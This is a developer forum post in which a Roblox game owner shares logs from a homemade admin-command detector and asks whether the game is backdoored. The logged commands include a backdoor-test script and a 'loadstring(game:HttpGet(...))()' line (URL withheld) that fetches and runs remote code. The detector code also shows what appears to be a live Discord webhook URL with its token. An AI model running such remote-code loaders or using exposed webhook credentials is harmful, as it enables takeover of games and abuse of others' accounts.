I am new to the dev forum, please tell me if this is the wrong section to post this in
A few days ago, I tried to make a admin command usage detector, to see what my mods are doing to ensure they aren’t abusing or anything. Well, I couldn’t figure out how to make it work, but today i got a few extremely suspicious notifications from my admin command detector, here they are:
1. The command -- If all players jump when executed, it means the game is backdoored!
for i,v in pairs(game:GetService('Players'):GetPlayers()) do
if v.Character ~= nil and v.Character:IsA("Model") and v.Character:FindFirstChildWhichIsA("Humanoid") then
v.Character:FindFirstChildWhichIsA("Humanoid").Jump = true
end
end
----- CHANGELOGS ----- -- v1.0.0 | First publish. -- v1.1.0 | New acquire feature V1. ----- CHANGELOGS -----
was used by Arthur_gg054
2. *[*2:20 PM*]*
The command
Instance.new("Model",workspace).Name="ERJGOGEFWUKMPHKRAFBKMMUBCCQNQLCCXAONDVHWFLGLSAVIBSCKGNUMAVIBXNGR"
was used by Arthur_gg054
3. *[*2:21 PM*]*
The command loadstring(game:HttpGet("not showing the link to this exploit on here"))()
was used by Arthur_gg054
This same thing was used by another player as well, and I don’t know why it’s picking this up and I also don’t know if my game is backdoored. Here is the admin command detector as well:
local rem = game:GetService('ReplicatedStorage'):WaitForChild('ALLREMBINDS'):WaitForChild('usedcomandthangg')
local hook = 'https://discordapp.com/api/webhooks/1332167858452430910/YhyZLx3r02B9W2JSpItdLydpB9SPweNZyhq33YDUKp66x2QCm5pfMO6cTiwm8t0Dv0LR'
local htpserv = game:GetService('HttpService')
rem.OnServerEvent:Connect(function(playerwhousedit, commandused)
-- Debugging outputs
print("Command used: ", commandused)
print("Player who used the command: ", playerwhousedit.Name)
-- Function to send the report
local function sendreport(cmd, plr)
local data = {
['content'] = 'The command ' .. cmd .. ' was used by ' .. plr.Name
}
data = htpserv:JSONEncode(data)
-- Try to send the report
local success, err = pcall(function()
htpserv:PostAsync(hook, data)
end)
if not success then
warn("Failed to send report: " .. tostring(err))
end
end
-- Call function with the correct parameters
sendreport(commandused, playerwhousedit)
end)
if anyone could help or tell me what this stuff means, that would be great!